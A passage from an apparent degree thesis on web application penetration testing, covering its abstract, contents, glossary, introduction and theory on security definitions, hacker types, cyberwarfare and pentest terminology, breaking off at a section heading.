Penetration Testing in a Web Application Environment
Abstract

As the use of web applications is increasing among a number of different industries, many companies turn to online applications to promote their services. Companies see the great advantages with web applications such as convenience, low costs and little need of additional hardware or software configuration. Meanwhile, the threats against web applications are scaling up where the attacker is not in need of much experience or knowledge to hack a poorly secured web application as the service easily can be accessed over the Internet. While common attacks such as cross-site scripting and SQL injection are still around and very much in use since a number of years, the hacker community constantly discovers new exploits making businesses in need of higher security.

Penetration testing is a method used to estimate the security of a computer system, network or web application. The aim is to reveal possible vulnerabilities that could be exploited by a malicious attacker and suggest solutions to the given problem at hand. With the right security fixes, a business system can go from being a threat to its users’ sensitive data to a secure and functional platform with just a few adjustments.

This thesis aims to help the IT security consultants at Combitech AB with detecting and securing the most common web application exploits that companies suffer from today. By providing Combitech with safe and easy methods to discover and fix the top security deficiencies, the restricted time spent at a client due to budget concerns can be made more efficient thanks to improvements in the internal testing methodology.

The project can additionally be of interest to teachers, students and developers who want to know more about web application testing and security as well as common exploit scenarios.

Keywords: penetration testing, exploit, cross-site scripting, code injection, CSRF, web application security, vulnerability assessment, security consultancy, methodology, OWASP, black-box, gray-box, white-box
Table of Contents

1. INTRODUCTION .................................................................................................................................................. 1
  1.1. BACKGROUND ................................................................................................................................................. 1
  1.2. PURPOSE .......................................................................................................................................................... 3
  1.3. PROBLEM DESCRIPTION ............................................................................................................................... 3
  1.4. RESTRICTIONS ............................................................................................................................................... 3
  1.5. METHOD .......................................................................................................................................................... 4
  1.6. REPORT STRUCTURE .................................................................................................................................... 4
  1.7. ACKNOWLEDGEMENTS ................................................................................................................................ 4

2. THEORY .................................................................................................................................................................. 5
  2.1. COMPUTER, NETWORK AND INTERNET SECURITY ...................................................................................... 5
  2.2. WEB 2.0 ............................................................................................................................................................ 6
  2.3. Hacking, A Definition ...................................................................................................................................... 7
    2.3.1. White Hat Hacker ....................................................................................................................................... 7
    2.3.2. Black Hat Hacker ...................................................................................................................................... 8
    2.3.3. Gray Hat Hacker ...................................................................................................................................... 8
    2.3.4. Script Kiddie ........................................................................................................................................... 8
    2.3.5. Hacktivism .............................................................................................................................................. 9
    2.3.6. Cyberterrorism ....................................................................................................................................... 9
    2.3.7. Electronic Warfare .................................................................................................................................. 9
  2.4. PENETRATION TESTING ................................................................................................................................. 10
    2.4.1. Motivation ................................................................................................................................................ 11
    2.4.2. Internal versus Third-Party Penetration Testing ................................................................................... 12
    2.4.3. Criticism .................................................................................................................................................. 13
    2.4.4. Risks ....................................................................................................................................................... 13

  2.5. METHODOLOGIES AND STANDARDS ......................................................................................................... 13
    2.5.1. Open Source Security Testing Methodology Manual (OSSTMM) ......................................................... 13
    2.5.2. National Institute of Standards and Technology (NIST) ......................................................................... 14
    2.5.3. Information Systems Security Assessment Framework (ISSAF) ............................................................ 14
    2.5.4. Payment Card Industry (PCI) ................................................................................................................ 15
    2.5.5. Information Systems Audit and Control Association (ISACA) .............................................................. 15
    2.5.6. IT Health Check Service (CHECK) ........................................................................................................ 15
    2.5.7. Open Web Application Security Project (OWASP) ................................................................................ 15

  2.6. ATTACK TREES ................................................................................................................................................. 16

  2.7. GENERAL TESTING TYPES ......................................................................................................................... 16
    2.7.1. White-box Testing ..................................................................................................................................... 17
    2.7.2. Black-box Testing .................................................................................................................................... 17
    2.7.3. Gray-box Testing .................................................................................................................................... 17

  2.8. OSSTMM SPECIFIC TESTING TYPES .......................................................................................................... 17
    2.8.1. Blind ......................................................................................................................................................... 18
    2.8.2. Double Blind ........................................................................................................................................... 18
    2.8.3. Gray-box ................................................................................................................................................. 18
    2.8.4. Double Gray-box .................................................................................................................................. 18
    2.8.5. Tandem .................................................................................................................................................... 19
    2.8.6. Reversal .................................................................................................................................................. 19

  2.9. TEAM TESTING ACTIVITIES .......................................................................................................................... 19
    2.9.1. Red Team and Blue Team ....................................................................................................................... 19
    2.9.2. Tiger Team ............................................................................................................................................... 20

  2.10. WEB APPLICATION RISK ASSESSMENT AND MANAGEMENT .............................................................. 20

  2.11. WEB APPLICATION SECURITY FLAWS ................................................................................................... 21
    2.11.1. Code Injection ...................................................................................................................................... 21
    2.11.2. SQL Injection ....................................................................................................................................... 22
    2.11.3. OS/Command Injection ...................................................................................................................... 24
    2.11.4. Web Scripting Language Injection .................................................................................................... 25
List Of Tables

TABLE 2.1 RISK ASSESSMENT EQUATION ................................................................. 21
TABLE 2.2 A SUMMARY OF COMMON WEB HACKING TOOLS .................................. 39
TABLE 2.3 OWASP Top Ten Project Listing ............................................................... 40
TABLE 4.1 SUPPORT FOR BATCHED QUERIES IN DIFFERENT DBMSS ....................... 44
List Of Figures

FIGURE 2.1 THE WORKINGS OF AJAX ........................................................................................................ 6
FIGURE 2.2 LIKELIHOOD OF VULNERABILITY ...................................................................................... 11
FIGURE 2.3 FREQUENCY OF VULNERABILITIES .................................................................................... 12
FIGURE 2.4 SOFTWARE VULNERABILITY STACK .................................................................................... 12
FIGURE 2.5 A SIMPLE ATTACK TREE .................................................................................................... 16
FIGURE 2.6 OSSTMM TESTING TYPES ................................................................................................... 18
FIGURE 2.7 PATH OF A WEB APPLICATION RISK ASSESSMENT ............................................................... 20
FIGURE 2.8 BOUNDARY VALIDATION AT DIFFERENT STAGES IN AN APPLICATION ............................ 24
FIGURE 2.9 REFLECTED XSS ATTACK SCENARIO .................................................................................. 28
FIGURE 2.10 STORED XSS ATTACK SCENARIO ....................................................................................... 29
FIGURE 2.11 DOM-BASED XSS SCENARIO .............................................................................................. 31
FIGURE 2.12 SESSION FIXATION SCENARIO .......................................................................................... 32
FIGURE 3.1 LAYOUT OF THE PEN CODE TESTER .................................................................................... 41
FIGURE 3.2 NAVIGATION OF THE PEN CODE TESTER ............................................................................ 42
FIGURE 3.3 SITE DIAGRAM OF THE PEN CODE TESTER ......................................................................... 43
FIGURE 4.1 ERROR-PRONE SOAP INPUT ................................................................................................. 46
FIGURE 4.2 SOAP ERROR MESSAGE ...................................................................................................... 46
FIGURE 4.3 BRUTE-FORCE ATTACKING WITH BURP INTRUDER (BURP SUITE 1.3.03) .................. 49
FIGURE 4.4 USE OF FIREBUG 1.5.4 TO EXPLOIT CSRF ................................................................. 50
<table>
<thead>
<tr>
<th>Glossary</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>AJAX</td>
<td>Asynchronous JavaScript and XML</td>
</tr>
<tr>
<td>ASCII</td>
<td>American Standard Code for Information Interchange</td>
</tr>
<tr>
<td>CESG</td>
<td>Communications-Electronics Security Group</td>
</tr>
<tr>
<td>CHECK</td>
<td>IT Health Check Service</td>
</tr>
<tr>
<td>CNSS</td>
<td>Committee on National Security Systems</td>
</tr>
<tr>
<td>COTS</td>
<td>Commercial off-the-shelf</td>
</tr>
<tr>
<td>CSRF</td>
<td>Cross-site request forgery</td>
</tr>
<tr>
<td>CSS</td>
<td>Cascading Style Sheet</td>
</tr>
<tr>
<td>CPU</td>
<td>Central processing unit</td>
</tr>
<tr>
<td>DBMS</td>
<td>Database management system</td>
</tr>
<tr>
<td>DOM</td>
<td>Document Object Model</td>
</tr>
<tr>
<td>DoS</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>DSS</td>
<td>Data Security Standard</td>
</tr>
<tr>
<td>GNU</td>
<td>GNU’s Not Unix</td>
</tr>
<tr>
<td>GPL</td>
<td>General Public License</td>
</tr>
<tr>
<td>HR</td>
<td>Human resources</td>
</tr>
<tr>
<td>HTML</td>
<td>Hypertext Markup Language</td>
</tr>
<tr>
<td>HTTP/S</td>
<td>Hypertext Transfer Protocol/Secure</td>
</tr>
<tr>
<td>IEEE</td>
<td>the Institute of Electrical and Electronics Engineers</td>
</tr>
<tr>
<td>IA</td>
<td>Information Assurance</td>
</tr>
<tr>
<td>ISACA</td>
<td>The Information Systems Audit and Control Association</td>
</tr>
<tr>
<td>ISECOM</td>
<td>Institute of Security and Open Methodology</td>
</tr>
<tr>
<td>ISSAF</td>
<td>The Information Systems Security Assessment Framework</td>
</tr>
<tr>
<td>LAMP</td>
<td>Linux, Apache, MySQL, PHP</td>
</tr>
<tr>
<td>LDAP</td>
<td>Lightweight Directory Access Protocol</td>
</tr>
<tr>
<td>NIST</td>
<td>National Institute of Standards and Technology</td>
</tr>
<tr>
<td>NSA</td>
<td>National Security Agency</td>
</tr>
<tr>
<td>OISSLG</td>
<td>Open Information System Security Group</td>
</tr>
<tr>
<td>OS</td>
<td>Operating system</td>
</tr>
<tr>
<td>OWASP</td>
<td>Open Web Application Security Project</td>
</tr>
<tr>
<td>PCI</td>
<td>Payment Card Industry</td>
</tr>
<tr>
<td>SMTP</td>
<td>Simple Mail Transfer Protocol</td>
</tr>
<tr>
<td>SOAP</td>
<td>Simple Object Access Protocol</td>
</tr>
<tr>
<td>SRJ</td>
<td>Script-running juvenile</td>
</tr>
<tr>
<td>SSL</td>
<td>Secure Socket Layer</td>
</tr>
<tr>
<td>SSN</td>
<td>Social Security Number</td>
</tr>
<tr>
<td>SQL</td>
<td>Structured Query Language</td>
</tr>
<tr>
<td>TLS</td>
<td>Transport Layer Security</td>
</tr>
<tr>
<td>URL</td>
<td>Uniform Resource Locator</td>
</tr>
<tr>
<td>VPN</td>
<td>Virtual private network</td>
</tr>
<tr>
<td>WASC</td>
<td>Web Application Security Consortium</td>
</tr>
<tr>
<td>WSDL</td>
<td>Web Service Definition Language</td>
</tr>
<tr>
<td>XML</td>
<td>eXtensive Markup Language</td>
</tr>
<tr>
<td>XPath</td>
<td>XML Path Language</td>
</tr>
<tr>
<td>XSS</td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td>XSRF</td>
<td>Cross-site request forgery</td>
</tr>
</tbody>
</table>
1. Introduction

This first chapter serves to introduce the report and its content to the reader. It begins with giving a background of the topic explaining the need of the project. The chapter continues with stating a purpose and a problem description that the report will focus on; the next section gives the restrictions of the work to describe the limitations of the project. Subsequently, the method and report structure is outlined to define the workflow of the report. In the last section acknowledgements, special thanks are given to the parties involved that helped realizing the project.

1.1. Background

Since the beginning of Web 2.0 in 2004, the use of web applications has become a part of our daily lives. Whether we are at work using the internal business system, at home playing poker on Facebook or in the car navigating with Google Maps on our new iPhone, web-based systems are there to help or entertain us. More and more companies turn to web applications and they have many reasons to do so. The web platform can be tailor-made to meet customers’ needs and expanded if necessary when more clients want to use the service (Hoffman 2008). Since the web application is accessed through a web browser, any cross platform compatibility issue is easily solved as various browsers exist for different operating systems (db net solutions 2007). Another benefit of choosing web applications over commercial off-the-shelf technologies (COTS) is that no hardware/software configuration is needed for the service to work (Hoffman 2008).

When the application is accessible online, a customer has the opportunity to interact with the company at any time of the day, which strengthens the communication between the business and the client. A web based application crafted after the business idea is often more efficient and requires little maintenance in comparison to having a COTS product installed. (Hoffman 2008) Further savings are made by the simplified architecture, low requirements of the client system as well as decreased support costs when maintenance is not a big issue (db net solutions 2007). The client does not need to think about memory or central processing unit (CPU) requirements on the local machines as no software needs to be installed. (Campbell 2007)

Although a lot of media attention is focused on the lack of security in web-based platforms, web applications do have some security benefits. Common software systems on the larger scale deals with data that is stored in the system; however, this data also needs to be moved around to other parts of the system and data sources in order for the application to function. (db net solutions 2007) To give an example, a software client-server system typically has a multi-tier architecture where management of data, application processes and the presentation layer all are separate layers that communicate with each other (msdn Microsoft 2010). This is also the situation for a typical web application. However, web applications carry all the business logic of a system on the server side. As a result, the system provides a transparent service to the client, which makes it easy to change or maintain. From a security perspective it is commonly preferred to hide business logic and system dynamics from the client. (Petersen 2010)

Despite these benefits, the security of web-based applications has not received a lot of attention in the past. In the early stage of Internet, websites contained static information, which was presented to the visitor of the site. Authentication of the user was not common as the static information could be displayed to everyone. The result of an attack at this time was a defaced webpage where the attacker had gained access to the web server. (Stuttard 2008, p.2)

On the contrary, most of the websites today are actual applications with dynamic content that can serve the user in a number of ways. Some popular sites offer online
shopping, social networks, auctions and web mail provided by companies like MySpace, Google, eBay and Amazon. (Stuttard 2008, p.2) Stuttard describes the near future where we can imagine the following scenario:

“The time is fast approaching when the only client software that most computer users will need is a web browser.” (Stuttard 2010, p.4)

Lately, Google has shown tendencies that we are certainly heading towards this direction. In 2009, the company revealed that they were going to release a new operating system by 2010 called Google Chrome OS. The operating system is described to be fast, lightweight and made for a web world where the user could start up the system and be on the web in a matter of seconds. (BBC News 2009)

Due to the flexibility, each user can see a custom-made page when using a web application with private information. As a result, the demand for security has risen. In the worst case, personal data could be compromised, financial fraud committed or malicious actions performed upon the user. In order to provide dynamic content to the user and fit the application with the specific business idea, many web-based platforms are developed in-house with little thought of security. Even in the case where the developer reflected over security issues, web applications are just like any new piece of technology prone to introduce a new set of vulnerabilities. (Stuttard 2010, pp.2-5)

Web-based systems have over the years gained a rumor of being inherently insecure. For this reason, companies try to ensure their users that the online service they provide is safe. These companies often declare to use 128-bit Secure Socket Layer (SSL) technology to protect the user’s data. However, whether a site uses SSL or not has nothing to do with the fact that the greater part of web applications are insecure. SSL will give confidentiality and integrity to the data while it is being transferred between the client and the server, hence stopping some severe attacks. However, it cannot protect against an attack set to target the client or server directly. (Stuttard 2010, pp.6-7)

Figures from the Web Application Security Consortium (WASC) reported that 49% of web applications had a high-risk level vulnerability when an automatic scan was performed. When using detailed white box method analysis, up to 91 security defects were found per web application, while automatic scanning of the same applications only saw 3 of these vulnerabilities. (WASC 2007)

Although common security weaknesses like SQL injection and cross-site scripting have been around for quite some time, IT security companies such as WhiteHat Security sees no decrease or stagnation of the rate in which these flaws are found. On the contrary, there seems to be an increase in the discovery of these so-called old school vulnerabilities. One explanation to this is that the black hat hacker community has found new attack techniques in which the security flaws can be used; another reason is that there has been an improvement in the technology of identifying the flaws. (WhiteHat Security 2007, p.4)

The above discussion strongly indicates the need of a well-defined security testing strategy of web applications to guarantee the safety of its users’ data. That is where penetration testing comes into the picture. A penetration test can estimate if illicit access to the given system can be made. Even though the scope of the test may be restricted due to budget or time constraints, it can still point out the need to improve management and controls within the organization (Wright 2007, pp.5-6). One must remember that any system is only as safe as its weakest link. No matter how secure a company might think that their data is from being compromised, it is always important to remember that no existing or future system is ever 100% secure (Burrows 2002, pp.4-7).
1.2. Purpose
This work aims to investigate the field of penetration testing in a web application environment and tackle the more common attacks used to breach web security. The vulnerabilities will be thoroughly examined theoretically and subsequently in practice.

The degree project will be performed at Combitech AB, a computer consultancy firm that on a daily basis deals with the security aspect of their customers’ computer systems. Combitech is in need of broadening their knowledge of web application exploits to get more in depth information about specific attacks. Furthermore, Combitech feels the need of updating their methodology of penetration testing where a separate routine should be developed for web tests. This work would give a large input for the new methodology that could be used in the daily work to improve the efficiency of the workflow. As restricted time limits due to customer’s budgets often decide how expansive the penetration test should be, a separate web application testing methodology could help in facilitating the testing procedure.

In the final stage, the top five vulnerabilities rated by the Open Web Application Security Projects (OWASP) Top Ten Project will be examined. A deliberately insecure site named the Pen Code Tester containing the defects from OWASP will be created that can be exploited in a safe environment. The end result will present a checklist that describes the various vulnerabilities and how they easily can be detected. This checklist will later be implemented in the internal web testing methodology. Additionally, the vulnerable site developed for this project can also be used for demonstration purposes within Combitech when visiting clients or during peer training.

1.3. Problem Description
The goal of this degree project is to explore secure penetration testing of web applications.

- How do common attacks operate?
- What knowledge and experience is needed to perform the attack and how serious are the consequences of a successful exploit?
- What is the meaning of a penetration test and how can it be optimized in order to efficiently give quality feedback to the customer?

The latter aspect refers to the methodology used and how it can be optimized within the area of web applications. Furthermore, this degree project will discuss the client as well as the server side.

- In what way can both server and client side be used as target?
- How does the future look like for attacks such as cross-site scripting and what are the solutions?
- Do we rely entirely on the programmer to build secure applications or are there other ways to ensure that the application is safe?

1.4. Restrictions
This work will focus on the five most common website vulnerabilities of the OWASP Top Ten Project; only these exploits will be examined both theoretically and practically although other security flaws will be mentioned. The work is not limited to certain programming or scripting languages in theory; however, the practical part will be conducted almost entirely in PHP, which of course will have an effect on the overall information of the report. Nevertheless, as the outcome of an exploit has very similar
effects on the web application no matter which environment we are working with, the end result will still give a general description of the threats involved in the attack.

1.5. Method
The degree project will initially start with information gathering about the subject, which will be used for the theory chapter.

When the theoretical part has been outlined, a thorough preparation shall be made to get familiar with the practical work of the thesis. This means more reading about the practical components as well as the environment that shall host the project.

Subsequently, the practical part will be developed and reviewed by Combitech for additional functionality and changes. In this stage, the application will also be exposed to a number of penetration tests by tools and manual inspection/modification.

Lastly, the results received from the practical part will be examined. At this point, an analysis and conclusion can give the answers to the problem description.

There are no set routines for where the work will be executed; when there is a need of advice or access to the security-testing laboratory, the work will continue at the office of Combitech.

1.6. Report Structure
The report starts off by presenting the background of the work and a definition is given to the problem. The purpose and scope of the project is also set in the first chapter.

The following section is the theoretical chapter where the reader gets familiarized with the topic. The aim of the theory part is to give the reader enough background to comprehend the following chapter where the result is presented.

As mentioned, chapter three consists of the practical part where the created web application is described and illustrated. Testing results of the application’s vulnerabilities are also included in this chapter.

The last part of the report contains a discussion and conclusion where the answers to the problem description are given. The section on future work can also be found here.

1.7. Acknowledgements
I would like to take the opportunity to thank Combitech for giving me the chance to work on this project. I have received a lot of knowledge and expertise help from your security consultants and would especially like to thank Samuel Linnér for supervising my work. I also thank Ola Flygt at DFM (Institutionen för datavetenskap, fysik och matematik) at Linnaeus University in Växjö for giving me feedback and guidance during the project.
2. Theory

In order to understand the field of penetration testing and general security analysis of web applications, one first has to grasp the more basic areas of computer security and the ever-present threat picture. The chapter theory begins with an introduction to computer security and continues with information about the attacker, the so-called hacker, and his agenda depending on what type of goal he wants to achieve. The term hacker is often mistaken as a synonym for a malicious attacker. This report will use the word attacker to describe the illegal act. A closer definition is given in the section 2.3 "Hacking – a definition”.

The chapter continues with the topic penetration testing. Attack trees and methodologies also discussed where e.g. the open source security testing methodology manual (OSSTMM) is explained.

In the end of the chapter, more specific exploits are depicted, which will later be used in the practical part of the work. The aim of this chapter is to give the reader a greater understanding of the subject before the practical approach begins.

2.1. Computer, Network and Internet Security

Computer security can be defined as

"...the collection of tools designed to protect data and to thwart hackers." (Stallings 2007, p.2)

Other sources define computer security as providing methods that can stop unauthorized access or destruction of data. The term is not simple to set since it has to be broad enough to fit a number of various computer systems; simultaneously, it needs to give a rather detailed view and pinpoint what security actually means. (Ross 1999) Furthermore, the terminology of network and internet security also exists where network security is aiming at the protection of transmitted data while internet security is meant to give protection to an interconnected network, often called an internet. The two terms are by definition close to each other. (Stallings 2007, p.2)

Schneider states that few people truly can comprehend the term computer security. To illustrate this, the author talks about common literature within the computer security sector that is using headlines such as "hacker proof software" for marketing purposes to attract readers. In contrast, the reality is that the security of computer systems considered to be bulletproof is bypassed all the time. As techniques such as strong cryptography can be broken, Schneider raises the question what we actually mean by security, suggesting that we should constantly ask ourselves two important questions: "who is the system secured from?" and "how long is it secured?". (Schneier 1999)

From these two questions, one can understand the importance of knowing the enemy. However, a computer system does not only have to be secure from outside attackers but also from internal staff who are using it incorrectly, intentionally or unintentionally. The point comes across in an article recently published regarding an incident at Apple:

"...the fact is that there’s no perfect security. Not when humans are involved." (Diaz 2010)

Due to the complexity of defining computer systems as entirely secure, the term trusted systems has arisen. Instead of labeling a system as 100% secure, one can have trust in a certain technology. One of the given rules when multilevel security needs to
be provided is that a subject at a higher level should not be able to give information to a subject at a lower level unless authorized. Multilevel security can be realized by the reference monitor concept. The reference monitor is an element in the hardware and operating system that controls the access to objects from subjects at various levels. The access privileges are listed in a file known as the security kernel database that the reference monitor can use. Any system that is able to follow the properties and security rules of the reference monitor may be called a trusted system. (Stallings 2007, pp.370,371)

2.2. Web 2.0

The term Web 2.0 was first used in 2004 as a description of a new period of dynamic websites being developed with high user interaction in contrast to the static, passive pages of the 1990s. In 2004, the first Web 2.0 Conference was held and since then signature companies of the term have emerged such as MySpace, FaceBook, Flickr and YouTube. (Deitel 2007, pp.25-26) The actual definition of Web 2.0 is not very precise but can generally be used to describe web sites that offer the visitor more than just a plain page that presents information (Evers 2006).

With techniques like Ajax, Web 2.0 pushes the boundaries of what a web site is able to do, making it more and more similar to a desktop application (Evers 2006). For example, instead of updating the whole web page, only a specific part of it needs to be refreshed to display the desired result. The workflow of AJAX is explained in Figure 2.1. (w3schools 2010a)

![Figure 2.1 The workings of AJAX](image)

As one can see in the Figure 2.1, AJAX is not a new programming or scripting language. It can be described as a new manner of using standards that already exist. AJAX stands for Asynchronous JavaScript and extensible Markup Language (XML) and is used by well-known applications such as Gmail, Youtube, Google Maps and Facebook. The technologies in AJAX are Cascading Style Sheets (CSS), XML, JavaScript/Document Object Model (DOM) that enables interaction and display of the information. Another technology is the XMLHttpRequest object, which is there to let you send and receive data with the server asynchronously. (w3schools 2010b)

Unfortunately, the downside of all the added functionality is that the new features are not security tested properly before being launched, making the feature a possible gate for an attacker to exploit. A Web site with Web 2.0 technology may be more prone to be exploited with its wide attack surface that interacts on a regular basis with the browser and runs JavaScript on the client. AJAX can furthermore contribute to Cross-site scripting vulnerabilities if the developer is not being careful when creating the site. The flaw, which has been found on mayor Web companies like Microsoft, eBay and Google,
can be used to hijack user accounts or download code of malicious content on other users’ computers. (Evers 2006)

2.3.  Hacking, a Definition

The common image of a hacker is a computer criminal who, without greater effort, can access the records of a bank or a credit card company with the use of mysterious tools (Thomas 2002, p.5). Adam discusses further on the subject where he blames media for wrongly representing hacking as an act of breaching the security of a computer system. The author continues to state that the definition of a hacker merely is a person who is an expert, either on a specific technology or in a variety of niches. From here, the hacker has a moral choice; either he makes use of the gained knowledge for personal benefits or he simply ignores what he has learned. A third option is to inform the system administrator of the existence of a security vulnerability that should be corrected. (Adam 2010) Thomas carries on with a similar reasoning when saying that the responses to hacking seen on TV shows, movies and newspapers reveals more about contemporary culture than about actual hackers. (Thomas 2002, p.9)

There are several definitions of the word hacker. One of these are given by the actual hacking community which separates themselves from so called crackers, where the latter term refers to a malicious intruder breaking into a computer system for theft or vandalism purposes. (Raymond 2003) Erickson further discusses the term cracker, which was meant to describe the type interested in breaking the law when breaking into a system. Following the author, a cracker has less knowledge and understanding than a hacker where the cracker merely uses already existing tools and scripts without knowing how the technology works or why it is done. According to Erickson, journalists tend to prefer to use the word hacker as most people rather read about a skilful attacker described with a known and loaded term than the word cracker that hardly no one recognizes. (Erickson 2003, p.3) Another source agree with the fact that there has been a so-called “journalistic misuse” of the world hacker where a better name for the perpetrator would be cracker (Raymond 2003).

The society of hackers can further be divided into subcategories where the terms white hat, gray hat and black hat hacker have arisen along with script kiddie and hacktivist. These are described in turn in the following sections.

2.3.1.  White Hat Hacker

White hat hackers often go under the names ethical hackers, sneakers or white knights and consist of computer security specialists. White hats are normally well informed within areas like penetration testing, system and network analysis and work towards making company’s computer systems more secure. These specialists use various methods to perform their system integrity tests where hacking tools, social engineering attempts and other tactics for finding vulnerabilities are used to breach the security of the system. Since the intentions of the test are non-malicious, it is common that a company or a vendor hires a white hat hacker to measure the strength of its security system. (Secpoint 2010b)

The National Security Agency (NSA) gives certifications to white hat hackers, where the CNSS 4011 certificate is one of them (Secpoint 2010b). The organization behind the certificate is the Committee on National Security Systems (CNSS) that created the National Standard 4011 to offer an elementary training level for information systems security professionals (Villanova University 2010). Members of the CNSS 4011 are also called red, tiger or blue teams depending on their role in the typical penetration test. If the teams are playing the role of invaders, they are referred to as the red team or the
tiger team whereas if they act as the defense are called the blue team. (Secpoint 2010b) These teams are discussed in depth in the section “Testing Types” of this chapter.

2.3.2. Black Hat Hacker
Black Hat Hackers, on the other hand, can be compared to crackers and are ready to exploit known weaknesses in computer systems to obtain sensitive data that can be used for personal gain. A black hat can also break into a system for other reasons such as to damage a system. This type of hacker is not so focused on the learning process or academic side of breaking a system and will commonly use ready-to-use cracking tools found on the Internet. (Red Hat 2002)

2.3.3. Gray Hat Hacker
A Gray Hat hacker can be placed somewhere in the middle of the White and the Black Hat hacker. This hacker will most of the time behave as a white hat hacker but can occasionally use his/her skills with less righteous intentions. Following the Red Hat documentation, Gray Hat hackers often think it is acceptable to break into computer systems as long as there is no rupture of confidentiality or theft involved where the actual break-in is not considered unethical. (Red Hat 2002) However, if one look for a definition of the word confidentiality it can be described as a guarantee that some computer-related property is protected against unauthorized access, which would make the actual break-in an illegal act and thereby comparable to theft (Pfleeger 2007, p.10).

2.3.4. Script Kiddie
Script kiddies are users of scripts or programs that are developed by others in a malicious way. The script kiddie commonly makes use of these tools for attacking computer systems and networks and are often called script bunny, skid, script kitty, skiddie or script-running juvenile (SRJ). From these terms, one can understand that it is normally juveniles who engage in this malicious hacking activity who do not have the knowledge to write sophisticated hacking tools or scripts by themselves. Another common factor for a script kiddie is that the act is performed to impress peers and gain credit and status in their own community. (Secpoint 2010a)

The term script kiddies was created by more advanced crackers to belittle the teenage attacker. This does by no means say that one should take these attackers lightly as an intrusion made by a script kiddie can be just as dangerous for a computer system as the one performed by a more experienced cracker. (Midmarket IT Security Definitions 2009) To give an example, a script kiddie was able to perform an attack against the law researcher Magnus Eriksson who worked for Lund University in Sweden. The attack was performed in 1999 with the help of NetBus, (IIUM Weblog 2008) a software program used to remote control Windows computer systems. NetBus was more specifically a Trojan horse that could continue to be active on the user’s computer as it added an entry in the Windows registry. When a user was running the NetBus Trojan, anyone else who had the NetBus client installed was able to access the user’s computer. (Sauer & Lee 2010b) This gave the script kiddie a backdoor where child pornography pictures could be planted on to the work computer of Magnus Eriksson. System administrators of Lund University later found 3500 of the bespoke pictures on the work computer of the researcher, who, as a consequence, lost his position at the university as he was accused of having downloaded the pictures himself. The matter was later taken up in Swedish court. (IIUM Weblog 2008)

Five years later in 2004, the charges against Magnus Eriksson were dropped as the technical evidence could show that the images had been downloaded in such a fast rate that the defendant had no possibility in viewing them. This led the court to believe that
Eriksson had not been aware of the existence of the pictures. Technical evidence also showed a connection with a keylogger and NetBus software that could allow Eriksson’s computer to be remote controlled without the owner’s knowledge. (Expressen 2007)

2.3.5. Hacktivism
A hacktivist, or a so-called Neo Hacker, is a hacker whose intention is to communicate some sort of message whether it might be political, social, religious or ideological. (Hakim n.d.) The term has been called “the marriage of political activism and computer hacking” and can be expressed through website defacement, redirects and information theft as well as website parodies. Another common attack of the hacktivist is the denial-of-service attack (DoS) to prevent a site from operating as normal. (Samuel 2004)

In other less ordinary situations, hacktivism can be placed in the same category as cyber terrorism attacks where e.g. an email bomb may be depicted as both terms depending on the source of information and the scope of the attack. The email bomb consisting of thousands of messages all sent at once can be seen as more of a harassment technique or a virtual blockade, especially if automated tools are used to perform the action. However, if the target is a government and the aim is to disrupt the communications of the target, the attack might as well be headed as a form of terrorism. (Denning 2001, pp.268-269)

2.3.6. Cyberterrorism
The term cyberterrorism was first used by Barry Collin in the 1980s, a senior research fellow at the Institute for Security and Intelligence in California. Collin defined cyberterrorism as the union of cyberspace and terrorism. (Denning 2001, p.281)

Mark Pollitt, a special agent of the FBI later came with the following definition:

“Cyberterrorism is the premeditated, politically motivated attack against information, computer systems, computer programs, and data which result in violence against noncombatant targets by sub-national groups or clandestine agents.” (Denning 2001, p.281)

While hacktivism often is depicted as “electronic civil disobedience” (Ibid. s. 263) where hacking is used by the means of activism, cyberterrorism can be seen as attacks with a political background that will do serious damage. Denning gives some examples where an attack could cause a major economic setback or affect the power or water supplies of a country. (Denning 2001, p.281)

Although the damages of a cyberterror attack may seem unharmful in comparison to a physical bomb threat that can kill hundreds of people instantly, one has to try to imagine the possibilities of cyberterrorism. This sort of attack could be executed anonymously and remotely where the attack elements would not include any larger costs or suicide missions. (Denning 2001, p.281)

2.3.7. Electronic Warfare
Following a description from the United States Air Force, electronic warfare is

“any military action involving the use of electromagnetic and directed energy to control the electromagnetic spectrum or to attack the enemy”. (United States Air Force 2002, p.44)
In the recent years, accusations have been directed towards countries such as China for committing cyber-warfare. To give an example, the Washington congressional panel in the U.S. accused China of cyber espionage where the aim was to steal sensitive information from U.S. computer networks. According to the congressional panel, the spies were looking for diplomatic and military secrets that could be found in databases belonging to the U.S. government; this would be a cheaper and less risky than conventional espionage. (BBC News 2008)

The accusation against China was made in 2008 and is just an example of the more recent allegations that have been made in the area of electronic warfare. In 2007, Russia was blamed for attacking websites of the Estonian government after Estonia moved a Soviet war memorial in Tallinn. The attack was targeting state and commercial sites as well as banks with large amounts of spam messages that overloaded the servers, causing a denial-of-service attack. As a large part of the country’s government is organized and operated through its websites, the threat was considered to be highly severe. For example, the parliament is elected online and all of the Estonian bank services operate over the Internet. Following the Estonian government, the source of the attack was executed from Russia and in some cases also from the country’s state computer servers. (BBC News 2007) A year later in 2008, Russia was again facing accusations, this time from Lithuania for having defaced 300 national websites. (Danchev 2008)

As stated by Poisel, military affairs will undergo a revolution of future conflicts. Since we are living in the Information Age where communication is vital, focus will lie on developing technology for information exchange. Because of the importance of communication to our modern society, its channels must be protected as it will be the main target for any external attack in the years to come. (Poisel 2002, pp.1-8)

2.4. Penetration Testing
According to Ince, penetration testing can be described as

"...the legal intrusion into a computer system by hackers in order to test the security mechanisms in the system.” (Ince 2010)

Some sources prefer the term security assessment (Corsaire 2009) while others see a clear difference between the word assessment and penetration testing. To give an example, the Payment Card Industry’s (PCI) definition gives a rather different view:

“A vulnerability assessment simply identifies and reports noted vulnerabilities, whereas a penetration test attempts to exploit the vulnerabilities to determine whether unauthorized access or other malicious activity is possible.” (PCI 2008, p.2)

Following this definition, PCI sees penetration testing as not only network and application layer testing but also testing of the surrounding environment where the tests are performed from outside as well as inside of the network. Other common synonyms to penetration testing given by the PCI are vulnerability audit and technical risk assessment. (PCI 2008, p.2)

The Open Source Security Testing Methodology Manual (OSSTMM) uses the more general term security testing that they view as
“...an umbrella term to encompass all forms and styles of security tests from the intrusion to the hands-on audit.”
(OSSTMM 3.0 2008, p.21)

2.4.1. Motivation
